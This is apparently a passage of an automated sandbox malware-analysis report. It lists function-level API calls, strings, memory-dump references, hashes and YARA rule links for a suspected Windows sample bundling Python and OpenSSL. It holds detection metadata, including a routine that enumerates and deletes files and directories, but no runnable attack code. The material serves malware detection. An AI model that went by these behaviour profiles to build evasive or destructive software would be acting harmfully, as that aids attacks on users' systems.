GetEnvironmentVariableW.KERNEL32 ref: 00007FFDFB1CDF00
WideCharToMultiByte.KERNEL32 ref: 00007FFDFB1CDF36
WideCharToMultiByte.KERNEL32 ref: 00007FFDFB1CDF8B

Strings

SYSTEMROOT, xrefs: 00007FFDFB1CDEA9
RANDFILE, xrefs: 00007FFDFB1CDE49
.rnd, xrefs: 00007FFDFB1CE03A
USERPROFILE, xrefs: 00007FFDFB1CDE8E
HOME, xrefs: 00007FFDFB1CDE70

Memory Dump Source

Source File: 00000001.00000002.1990278020.00007FFDFB001000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FFDFB000000, based on PE: true

Associated: 00000001.00000002.1990234767.00007FFDFB000000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB00D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB065000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB079000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB08A000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB090000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB09D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB24D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB24F000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB27A000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB2AB000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB2D1000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB31F000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB325000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB327000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB343000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB350000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1991500652.00007FFDFB354000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1991539153.00007FFDFB356000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfb000000_e45AiBoV6X.jbxd

Similarity

API ID: EnvironmentVariable$ByteCharMultiWide
String ID: .rnd$HOME$RANDFILE$SYSTEMROOT$USERPROFILE
API String ID: 2184640988-1666712896
Opcode ID: 45285921c275070c670ca49d0546862358ccffd5776fb92ec22702d428bfbd5c
Instruction ID: dcd142ef93a253c298bd642b41b2ad13806f2eb42f8780c7f2664cde0eb5f9c5
Opcode Fuzzy Hash: 45285921c275070c670ca49d0546862358ccffd5776fb92ec22702d428bfbd5c
Instruction Fuzzy Hash: 7661C763B0AB8396EB509F2594605BA67D1FB45BA8B488231DE7D43BE9DF3DE015C300

Function 00007FFDFAEE30D8 Relevance: 13.6, APIs: 9, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FFDFAEE30F4
00007FFE126E19A0.VCRUNTIME140 ref: 00007FFDFAEE3118
RtlCaptureContext.KERNEL32 ref: 00007FFDFAEE3121
RtlLookupFunctionEntry.KERNEL32 ref: 00007FFDFAEE313B
RtlVirtualUnwind.KERNEL32 ref: 00007FFDFAEE317C
00007FFE126E19A0.VCRUNTIME140 ref: 00007FFDFAEE31AF
IsDebuggerPresent.KERNEL32 ref: 00007FFDFAEE31D0
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FFDFAEE31F1
UnhandledExceptionFilter.KERNEL32 ref: 00007FFDFAEE31FC

Memory Dump Source

Source File: 00000001.00000002.1989811289.00007FFDFAEE1000.00000040.00000001.01000000.00000013.sdmp, Offset: 00007FFDFAEE0000, based on PE: true

Associated: 00000001.00000002.1989771802.00007FFDFAEE0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.1989811289.00007FFDFAF44000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.1989811289.00007FFDFAF93000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.1989811289.00007FFDFAFEC000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.1989811289.00007FFDFAFF1000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.1989811289.00007FFDFAFF4000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.1990150988.00007FFDFAFF5000.00000080.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.1990196980.00007FFDFAFF7000.00000004.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfaee0000_e45AiBoV6X.jbxd

Similarity

API ID: 00007E126ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 2506844470-0
Opcode ID: 999bb984f8f29d299515eb2d0d585a0be66a480aa78c7c7c6d5fea20d2ea7ad2
Instruction ID: d160ac30d08e08bfc95e2f924ba23aab425a25b07efe6c438cd242a16fd2691c
Opcode Fuzzy Hash: 999bb984f8f29d299515eb2d0d585a0be66a480aa78c7c7c6d5fea20d2ea7ad2
Instruction Fuzzy Hash: 1A316172708B8185EB649F60E8A07ED7360FB94744F454479DA5E47A98DF39DA48C700

Function 00007FF6FB1E79B0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 89fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,00007FF6FB1E7EF9,00007FF6FB1E39E6), ref: 00007FF6FB1E7A1B
RemoveDirectoryW.KERNEL32(?,00007FF6FB1E7EF9,00007FF6FB1E39E6), ref: 00007FF6FB1E7A9E
DeleteFileW.KERNEL32(?,00007FF6FB1E7EF9,00007FF6FB1E39E6), ref: 00007FF6FB1E7ABD
FindNextFileW.KERNEL32(?,00007FF6FB1E7EF9,00007FF6FB1E39E6), ref: 00007FF6FB1E7ACB
FindClose.KERNEL32(?,00007FF6FB1E7EF9,00007FF6FB1E39E6), ref: 00007FF6FB1E7ADC
RemoveDirectoryW.KERNEL32(?,00007FF6FB1E7EF9,00007FF6FB1E39E6), ref: 00007FF6FB1E7AE5

Strings

%s\*, xrefs: 00007FF6FB1E79E2

Memory Dump Source

Source File: 00000001.00000002.1989528263.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000001.00000002.1989488665.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989584297.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB223000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989725163.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: FileFind$DirectoryRemove$CloseDeleteFirstNext
String ID: %s\*
API String ID: 1057558799-766152087
Opcode ID: 37c75c647de740c4d03e434983ba542f23ef98c0d39288f6f50529afbb256bed
Instruction ID: 260a6123e6ccdfeceeadb3a5763812eba8f680ded8de13b99b7dd316981b334c
Opcode Fuzzy Hash: 37c75c647de740c4d03e434983ba542f23ef98c0d39288f6f50529afbb256bed
Instruction Fuzzy Hash: 35411021E0C54395FB30DB24E5585BD6361FB9C798F480632D57EC2AE4EF6CE64A8740

Function 00007FFDFB003229 Relevance: 12.3, APIs: 8, Instructions: 251fileCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 00007FFDFB1A41BF
GetLastError.KERNEL32 ref: 00007FFDFB1A41CC
MultiByteToWideChar.KERNEL32 ref: 00007FFDFB1A41F3
MultiByteToWideChar.KERNEL32 ref: 00007FFDFB1A4248
00007FFE1FF9F020.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDFB1A4259
FindFirstFileW.KERNEL32 ref: 00007FFDFB1A43CC
FindNextFileW.KERNEL32 ref: 00007FFDFB1A4409
WideCharToMultiByte.KERNEL32 ref: 00007FFDFB1A4467

Memory Dump Source

Source File: 00000001.00000002.1990278020.00007FFDFB001000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FFDFB000000, based on PE: true

Associated: 00000001.00000002.1990234767.00007FFDFB000000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB00D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB065000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB079000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB08A000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB090000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB09D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB24D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB24F000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB27A000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB2AB000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB2D1000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB31F000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB325000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB327000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB343000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB350000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1991500652.00007FFDFB354000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1991539153.00007FFDFB356000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfb000000_e45AiBoV6X.jbxd

Similarity

API ID: ByteCharMultiWide$FileFind$00007ErrorF020FirstLastNext
String ID:
API String ID: 1171239525-0
Opcode ID: 93d5875e5dee341f10784224bd53556331c46b81fbb66407b9d17040cc771b2d
Instruction ID: 2c40ea2c36e01c741ebcea5e0312f1aff440a75879e1a59bc8cf4e9b9ff86d20
Opcode Fuzzy Hash: 93d5875e5dee341f10784224bd53556331c46b81fbb66407b9d17040cc771b2d
Instruction Fuzzy Hash: 1AB1A423F0AA8386EB109F25D464A7D67A8FF45BA8F444235DA6D477E8EF3CE1518300

Function 00007FFDFB005A1F Relevance: 10.6, APIs: 7, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FFDFB245EDC
RtlCaptureContext.KERNEL32 ref: 00007FFDFB245F09
RtlLookupFunctionEntry.KERNEL32 ref: 00007FFDFB245F23
RtlVirtualUnwind.KERNEL32 ref: 00007FFDFB245F64
IsDebuggerPresent.KERNEL32 ref: 00007FFDFB245FB8
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FFDFB245FD9
UnhandledExceptionFilter.KERNEL32 ref: 00007FFDFB245FE4

Memory Dump Source

Source File: 00000001.00000002.1990278020.00007FFDFB001000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FFDFB000000, based on PE: true

Associated: 00000001.00000002.1990234767.00007FFDFB000000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB00D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB065000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB079000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB08A000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB090000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB09D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB24D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB24F000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB27A000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB2AB000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB2D1000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB31F000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB325000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB327000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB343000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB350000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1991500652.00007FFDFB354000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1991539153.00007FFDFB356000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfb000000_e45AiBoV6X.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 544d81e5d0bf66c33f804bb133da19342079062bac93336a06aa1597cb30c435
Instruction ID: 2e4fd86364cb03323cfb82442812136ac33dd4d4e8997290c00d37e1e33af4e1
Opcode Fuzzy Hash: 544d81e5d0bf66c33f804bb133da19342079062bac93336a06aa1597cb30c435
Instruction Fuzzy Hash: 33313072709A82C6EB609F60E8507ED73A0FB85744F44403ADA9E47AE9DF38D648C710

Function 00007FF6FB1EC44C Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF6FB1EC468
RtlCaptureContext.KERNEL32 ref: 00007FF6FB1EC495
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF6FB1EC4AF
RtlVirtualUnwind.KERNEL32 ref: 00007FF6FB1EC4F0
IsDebuggerPresent.KERNEL32 ref: 00007FF6FB1EC544
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF6FB1EC561
UnhandledExceptionFilter.KERNEL32 ref: 00007FF6FB1EC56C

Memory Dump Source

Source File: 00000001.00000002.1989528263.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000001.00000002.1989488665.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989584297.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB223000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989725163.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 59201671b846c18328c4c6cdbad1e823a2b0fec8eaed916d44c3dc4e1cb48f19
Instruction ID: 5407e1aa73fb103a69951b37a3210641d96a59a2e985b166c36ad19798042dac
Opcode Fuzzy Hash: 59201671b846c18328c4c6cdbad1e823a2b0fec8eaed916d44c3dc4e1cb48f19
Instruction Fuzzy Hash: 02315276A08B8289EB60CF64E8543FE7364FB48748F445039DA5E87BA5EF38D548C710

Function 00007FF6FB204F10 Relevance: 9.3, APIs: 6, Instructions: 334timeCOMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF6FB204F55

Part of subcall function 00007FF6FB2048A8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6FB2048BC

Part of subcall function 00007FF6FB1F9C58: HeapFree.KERNEL32(?,?,?,00007FF6FB202032,?,?,?,00007FF6FB20206F,?,?,00000000,00007FF6FB202535,?,?,?,00007FF6FB202467), ref: 00007FF6FB1F9C6E
Part of subcall function 00007FF6FB1F9C58: GetLastError.KERNEL32(?,?,?,00007FF6FB202032,?,?,?,00007FF6FB20206F,?,?,00000000,00007FF6FB202535,?,?,?,00007FF6FB202467), ref: 00007FF6FB1F9C78

Part of subcall function 00007FF6FB1F9C10: IsProcessorFeaturePresent.KERNEL32(?,?,?,?,00007FF6FB1F9BEF,?,?,?,?,?,00007FF6FB1F9ADA), ref: 00007FF6FB1F9C19
Part of subcall function 00007FF6FB1F9C10: GetCurrentProcess.KERNEL32(?,?,?,?,00007FF6FB1F9BEF,?,?,?,?,?,00007FF6FB1F9ADA), ref: 00007FF6FB1F9C3E

_get_daylight.LIBCMT ref: 00007FF6FB204F44

Part of subcall function 00007FF6FB204908: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6FB20491C

_get_daylight.LIBCMT ref: 00007FF6FB2051BA
_get_daylight.LIBCMT ref: 00007FF6FB2051CB
_get_daylight.LIBCMT ref: 00007FF6FB2051DC
GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,00007FF6FB20541C), ref: 00007FF6FB205203

Memory Dump Source

Source File: 00000001.00000002.1989528263.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000001.00000002.1989488665.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989584297.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB223000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989725163.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo$CurrentErrorFeatureFreeHeapInformationLastPresentProcessProcessorTimeZone
String ID:
API String ID: 4070488512-0
Opcode ID: 1e88bcb5f495bb70dc88d60703a9f776145871d29d9eb43ad6078281b4d73a6f
Instruction ID: f639b0aa5e08c4bbfd391599fb3a6491ca6d7af74d319029684dea07566e0757
Opcode Fuzzy Hash: 1e88bcb5f495bb70dc88d60703a9f776145871d29d9eb43ad6078281b4d73a6f
Instruction Fuzzy Hash: C4D1A026E1824386E720EF25DAA01B963A1EF4C7D4F44A535EA2DC7AE5FE3CE441C740

Function 00007FF6FB1F9924 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF6FB1F999D
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF6FB1F99B5
RtlVirtualUnwind.KERNEL32 ref: 00007FF6FB1F99F0
IsDebuggerPresent.KERNEL32 ref: 00007FF6FB1F9A29
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF6FB1F9A33
UnhandledExceptionFilter.KERNEL32 ref: 00007FF6FB1F9A3E

Memory Dump Source

Source File: 00000001.00000002.1989528263.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000001.00000002.1989488665.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989584297.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB223000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989725163.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: f336cc4ee628281f12481126c86b188c106f14650002c00baa1860decbda2c10
Instruction ID: e30b4200656ae975394dda14665093425b56bd2c92e8d4d1f2032a7fcbb2e710
Opcode Fuzzy Hash: f336cc4ee628281f12481126c86b188c106f14650002c00baa1860decbda2c10
Instruction Fuzzy Hash: 66317636A08B8285D760DF25E8542BE73A4FB8C798F541135EAAD87BA9EF3CD145C700

Function 00007FF6FB200B84 Relevance: 7.8, APIs: 5, Instructions: 282COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6FB200BD0
FindFirstFileExW.KERNEL32 ref: 00007FF6FB200CDA

Memory Dump Source

Source File: 00000001.00000002.1989528263.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000001.00000002.1989488665.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989584297.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB223000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989725163.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: FileFindFirst_invalid_parameter_noinfo
String ID:
API String ID: 2227656907-0
Opcode ID: 88c6eeb3815b689bec9e785de6a4435637107cd6a4a104e99c849aa3a7604df1
Instruction ID: d122b4eb2813cd70ffce6843a5c107e519c131e620da343c94caa06004dd2823
Opcode Fuzzy Hash: 88c6eeb3815b689bec9e785de6a4435637107cd6a4a104e99c849aa3a7604df1
Instruction Fuzzy Hash: D3B19621B1869B41FB60DB21D6245BA6291EB58BE4F446132EA6DD7BEDFF3CE441C300

Function 00007FF6FB20518C Relevance: 6.1, APIs: 4, Instructions: 143timeCOMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF6FB2051BA

Part of subcall function 00007FF6FB204908: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6FB20491C

_get_daylight.LIBCMT ref: 00007FF6FB2051CB

Part of subcall function 00007FF6FB2048A8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6FB2048BC

_get_daylight.LIBCMT ref: 00007FF6FB2051DC

Part of subcall function 00007FF6FB2048D8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6FB2048EC

Part of subcall function 00007FF6FB1F9C58: HeapFree.KERNEL32(?,?,?,00007FF6FB202032,?,?,?,00007FF6FB20206F,?,?,00000000,00007FF6FB202535,?,?,?,00007FF6FB202467), ref: 00007FF6FB1F9C6E
Part of subcall function 00007FF6FB1F9C58: GetLastError.KERNEL32(?,?,?,00007FF6FB202032,?,?,?,00007FF6FB20206F,?,?,00000000,00007FF6FB202535,?,?,?,00007FF6FB202467), ref: 00007FF6FB1F9C78

GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,00007FF6FB20541C), ref: 00007FF6FB205203

Memory Dump Source

Source File: 00000001.00000002.1989528263.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000001.00000002.1989488665.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989584297.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB223000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989725163.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: _get_daylight_invalid_parameter_noinfo$ErrorFreeHeapInformationLastTimeZone
String ID:
API String ID: 3458911817-0
Opcode ID: c5508bc63ced89b7e96ce891f343e42cb1356f84bc391250f2f4d752248c7e40
Instruction ID: 84219a2c855dfa693130133d1c4c34ccd528d016bfff61c364647bc3c10870ae
Opcode Fuzzy Hash: c5508bc63ced89b7e96ce891f343e42cb1356f84bc391250f2f4d752248c7e40
Instruction Fuzzy Hash: 7D514E32A1864386E720EF21EAA11B96760BF4C784F44A535EA6DC76F6EF3CE4408740

Function 00007FFDFB381DCF Relevance: 5.7, APIs: 1, Strings: 2, Instructions: 451COMMON

Download Yara Rule

APIs

00007FFE1FFB08A0.API-MS-WIN-CRT-TIME-L1-1-0 ref: 00007FFDFB3C4361

Strings

D:\_w\1\s\ssl\packet_local.h, xrefs: 00007FFDFB3C4159, 00007FFDFB3C416D
..\s\ssl\statem\extensions_srvr.c, xrefs: 00007FFDFB3C4085, 00007FFDFB3C4249, 00007FFDFB3C44E6, 00007FFDFB3C4766

Memory Dump Source

Source File: 00000001.00000002.1991624093.00007FFDFB381000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00007FFDFB380000, based on PE: true

Associated: 00000001.00000002.1991585735.00007FFDFB380000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.1991624093.00007FFDFB3F3000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.1991624093.00007FFDFB3F5000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.1991624093.00007FFDFB418000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.1991624093.00007FFDFB423000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.1991624093.00007FFDFB42D000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.1992057570.00007FFDFB430000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.1992103361.00007FFDFB432000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfb380000_e45AiBoV6X.jbxd

Similarity

API ID: 00007
String ID: ..\s\ssl\statem\extensions_srvr.c$D:\_w\1\s\ssl\packet_local.h
API String ID: 3568877910-927607112
Opcode ID: 0911ee5ebdf54031d9eb09136f9d968bcf9013cc6d8919ac220e9f4e880da2f4
Instruction ID: 6f2fb5d04c7272fc3766f62013e48b7baff1761d43653419416a1578ee16928c
Opcode Fuzzy Hash: 0911ee5ebdf54031d9eb09136f9d968bcf9013cc6d8919ac220e9f4e880da2f4
Instruction Fuzzy Hash: A712C5B2B49A8286E760ABA1E424ABD67E0FB84788F144035DEAD476EDDF7CD550C700

Function 00007FFDFAEE12F0 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 343COMMON

Download Yara Rule

APIs

00007FFDFB52EF60.PYTHON310 ref: 00007FFDFAEE14B6

Strings

0, xrefs: 00007FFDFAEE1346

Memory Dump Source

Source File: 00000001.00000002.1989811289.00007FFDFAEE1000.00000040.00000001.01000000.00000013.sdmp, Offset: 00007FFDFAEE0000, based on PE: true

Associated: 00000001.00000002.1989771802.00007FFDFAEE0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.1989811289.00007FFDFAF44000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.1989811289.00007FFDFAF93000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.1989811289.00007FFDFAFEC000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.1989811289.00007FFDFAFF1000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.1989811289.00007FFDFAFF4000.00000040.00000001.01000000.00000013.sdmpDownload File
